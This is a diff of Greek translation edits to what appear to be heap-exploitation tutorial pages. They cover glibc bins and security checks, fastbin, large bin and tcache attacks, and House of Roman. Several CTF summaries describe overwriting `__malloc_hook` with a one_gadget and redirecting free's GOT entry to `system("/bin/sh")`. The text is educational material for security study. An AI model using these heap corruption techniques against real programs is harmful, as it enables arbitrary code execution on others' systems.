Σε έναν κατανεμητή μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν προοδευτικά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 bytes, ενώ η επόμενη καλύπτει από 576 έως 640 bytes. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB.
Οι μεγάλες δεξαμενές είναι πιο αργές στη λειτουργία τους σε σύγκριση με τις μικρές δεξαμενές, διότι πρέπει να **ταξινομήσουν και να αναζητήσουν μέσα σε μια λίστα με ποικίλα μεγέθη κομματιών για να βρουν την καλύτερη εφαρμογή** για μια κατανομή. Όταν ένα κομμάτι εισάγεται σε μια μεγάλη δεξαμενή, πρέπει να ταξινομηθεί, και όταν η μνήμη κατανεμηθεί, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τις καθιστά **αργές**, αλλά καθώς οι μεγάλες κατανομές είναι λιγότερο συχνές από τις μικρές, είναι μια αποδεκτή ανταλλαγή.
@ -411,7 +411,7 @@ Fastbins[idx=6, size=0x80] 0x00
<details>
<summary>Κωδικός μεγάλων δεξαμενών</summary>
<summary>Κωδικός μεγέθους μεγάλης δεξαμενής</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -468,9 +468,9 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο δοχείο) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο δοχείο στο μεγάλο δοχείο).
2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο bin) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο bin στο μεγάλο bin).
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το δοχείο tcache είναι γεμάτο και ένα κομμάτι είναι στο μεγάλο δοχείο:
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα chunk είναι στο μεγάλο bin:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -540,7 +540,7 @@ gets(chunk);
return 0;
}
```
Μετά την εκτέλεση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισμοι:
Μετά την μεταγλώττιση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισκοι:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
@ -570,6 +570,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
Δείτε:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md
Δείτε:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
@ -586,6 +588,7 @@ heap-memory-functions/free.md
Ελέγξτε τους ελέγχους ασφαλείας που εκτελούνται από τις πολύ χρησιμοποιούμενες συναρτήσεις στο heap στο:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}

View File

@ -10,7 +10,7 @@
bins-and-memory-allocations.md
{{#endref}}
Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλες bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**.
Επειδή το fast bin είναι μια απλά συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλα bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα freed fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**.
Ως σύνοψη:
```c
@ -118,29 +118,29 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
> [!CAUTION]
> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md)
> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md).
## Παραδείγματα
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- Είναι δυνατόν να εκχωρηθούν κομμάτια, να απελευθερωθούν, να διαβαστούν τα περιεχόμενά τους και να γεμίσουν (με μια ευπάθεια overflow).
- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`).
- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\
Τελικά, γράφτηκε ένα **one gadget** εκεί.
- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, να είναι δυνατό να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`).
- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατό να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατό να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατό να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\
Τέλος, γράφτηκε ένα **one gadget** εκεί.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατόν να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες
- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά από απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατό να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες.
- **Libc info leak**: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να ξαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση.
- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντίθετα θα εκτελέσει `system("/bin/sh")`.
- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντί θα εκτελέσει `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια πληροφορία libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- Μετά από μια διαρροή infoleak καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγραφούν ορισμένοι δείκτες για να γράψουν μια διεύθυνση one gadget στο GOT
- Μπορείτε να βρείτε μια γρήγορη επίθεση Bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin:
- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχράστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται).
- Μετά από μια διαρροή πληροφοριών καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατό να επαναγραφούν ορισμένοι δείκτες για να γράψουν ένα one gadget στη GOT.
- Μπορείτε να βρείτε μια γρήγορη επίθεση bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin:
- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχρώνται οι λίστες ελευθερίας για να διαρρεύσουν διευθύνσεις libc/heap (όταν χρειάζεται).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Μπορούμε μόνο να εκχωρήσουμε κομμάτια μεγέθους μεγαλύτερου από `0x100`.
- Μπορούμε να εκχωρήσουμε μόνο κομμάτια μεγέθους μεγαλύτερου από `0x100`.
- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια αταξινόμητη επίθεση bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
- Γρήγορη επίθεση Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`.
- Γρήγορη επίθεση bin για να τροποποιήσουμε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση της GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`.
{{#ref}}
unsorted-bin-attack.md

View File

@ -55,7 +55,7 @@ malloc-and-sysmalloc.md
- Μήνυμα σφάλματος: `malloc(): mismatching next->prev_size (unsorted)`
- Αν όχι `victim->bck->fd == victim` ή όχι `victim->fd == av (arena)`:
- Μήνυμα σφάλματος: `malloc(): unsorted double linked list corrupted`
- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει πάντα να δείχνει στη δομή arena.
- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει να δείχνει πάντα στη δομή arena.
- Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση:
- Μήνυμα σφάλματος: `malloc(): invalid next->prev_inuse (unsorted)`
- Αν `fwd->bk_nextsize->fd_nextsize != fwd`:
@ -65,7 +65,7 @@ malloc-and-sysmalloc.md
- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (κατά δείκτη):**
- `bck->fd-> bk != bck`:
- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks`
- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενος μεγαλύτερος):**
- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενη μεγαλύτερη):**
- `bck->fd-> bk != bck`:
- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks2`
- **Έλεγχοι κατά τη χρήση του Top chunk:**
@ -101,7 +101,7 @@ free.md
- **Έλεγχοι κατά την αρχή του `_int_free`:**
- Ο δείκτης είναι ευθυγραμμισμένος:
- Μήνυμα σφάλματος: `free(): invalid pointer`
- Μέγεθος μεγαλύτερο από `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο:
- Μέγεθος μεγαλύτερο από το `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο:
- Μήνυμα σφάλματος: `free(): invalid size`
- **Έλεγχοι στο `_int_free` tcache:**
- Αν υπάρχουν περισσότερες καταχωρίσεις από το `mp_.tcache_count`:
@ -111,7 +111,7 @@ free.md
- Αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στο tcache:
- Μήνυμα σφάλματος: `free(): double free detected in tcache 2`
- **Έλεγχοι στο `_int_free` γρήγορη λίστα:**
- Αν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε:
- Αν το μέγεθος του κομματιού είναι άκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε:
- Μήνυμα σφάλματος: `free(): invalid next size (fast)`
- Αν το προστιθέμενο κομμάτι ήταν ήδη το κορυφαίο της γρήγορης λίστας:
- Μήνυμα σφάλματος: `double free or corruption (fasttop)`

View File

@ -57,11 +57,11 @@ unsorted: leftover_main
Στη συνέχεια, το `main_arena + 0x68` δεν είναι τόσο ενδιαφέρον, οπότε ας το τροποποιήσουμε ώστε ο δείκτης να δείχνει στο **`__malloc_hook`**.
Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
(Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes, ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλώς θα καταρρεύσει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει).
Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένα τρίτο alloced για να αποκτήσουμε ένα chunk στο **`__malloc_hook:`**
Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένας τρίτος εκχωρείται για να αποκτήσει ένα chunk στο **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
@ -75,7 +75,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
unsorted-bin-attack.md
{{#endref}}
Αλλά βασικά επιτρέπει να γράψουμε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`.
Αλλά βασικά επιτρέπει να γράψετε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`.
Για αυτό ξεκινάμε να αποκτούμε ένα chunk και να το τοποθετούμε στο **unsorted bin**:
```c
@ -86,12 +86,12 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το έχουμε βρει με brute force προηγουμένως).
Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε ότι το `unsorted_bin_ptr->bk` δείχνει στη διεύθυνση του `__malloc_hook` (το έχουμε brute force προηγουμένως).
> [!CAUTION]
> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να το ενεργοποιήσουμε πρέπει **να κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε κατανομές από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες κατανομές και να καταρρεύσει), και για να το ενεργοποιήσουμε αυτό πρέπει **να κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλώς χρειάζεται να κάνουμε: **`malloc(0x80)`**
Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλά πρέπει να κάνουμε: **`malloc(0x80)`**
### Βήμα 3: Ρύθμιση του \_\_malloc_hook σε system
@ -99,9 +99,9 @@ free(unsorted_bin_ptr);
Τώρα, εκμεταλλευόμαστε μια μερική υπεργραφή στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για να **δείξουμε σε μια διεύθυνση `one_gadget`**.
Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας πληροφορίας** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας τιμής** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Τελικά, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**.
Τέλος, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**.
## Αναφορές

View File

@ -16,19 +16,19 @@ bins-and-memory-allocations.md
Σε αυτό το παράδειγμα μπορείτε να βρείτε τις εξής προϋποθέσεις:
- Ένα μεγάλο chunk έχει κατανεμηθεί
- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει κατανεμηθεί
- Πρέπει να είναι μικρότερο ώστε να πάει πρώτο στο bin
- Ένα μεγάλο chunk έχει δεσμευτεί
- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει δεσμευτεί
- Πρέπει να είναι μικρότερο ώστε να μπει πρώτο στο bin
- (Ένα chunk για να αποτραπεί η συγχώνευση με το top chunk έχει δημιουργηθεί)
- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό κατανεμηθεί -> Chunk1 πηγαίνει στο large bin
- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό δεσμεύεται -> Chunk1 πηγαίνει στο large bin
- Στη συνέχεια, το δεύτερο μεγάλο chunk απελευθερώνεται
- Τώρα, η ευπάθεια: Ο επιτιθέμενος μπορεί να τροποποιήσει `chunk1->bk_nextsize` σε `[target-0x20]`
- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 κατανεμηθεί, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2
- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 δεσμεύεται, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2
> [!TIP]
> Υπάρχουν άλλα πιθανά σενάρια, το θέμα είναι να προσθέσουμε στο large bin ένα chunk που είναι **μικρότερο** από ένα τρέχον X chunk στο bin, έτσι πρέπει να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου chunk.
Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση αντικαταστάθηκε:
Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση έχει αντικατασταθεί:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
@ -42,7 +42,7 @@ victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_next
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast` της libc** για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια.
Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast`** της libc για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια.
Μπορείτε να βρείτε μια άλλη εξαιρετική εξήγηση αυτής της επίθεσης στο [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).

View File

@ -10,34 +10,34 @@
bins-and-memory-allocations.md
{{#endref}}
Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση Glibc 2.26.
Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση 2.26 της Glibc.
Η **επίθεση Tcache** (γνωστή και ως **δηλητηρίαση Tcache**) που προτάθηκε στη [**σελίδα guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin, όπου ο στόχος είναι να αντικατασταθεί ο δείκτης στο επόμενο chunk μέσα σε ένα ελεύθερο chunk με μια αυθαίρετη διεύθυνση, ώστε αργότερα να είναι δυνατή η **κατανομή αυτής της συγκεκριμένης διεύθυνσης και πιθανώς η αντικατάσταση των δεικτών**.
Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη).
Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη).
### Tcache indexes attack
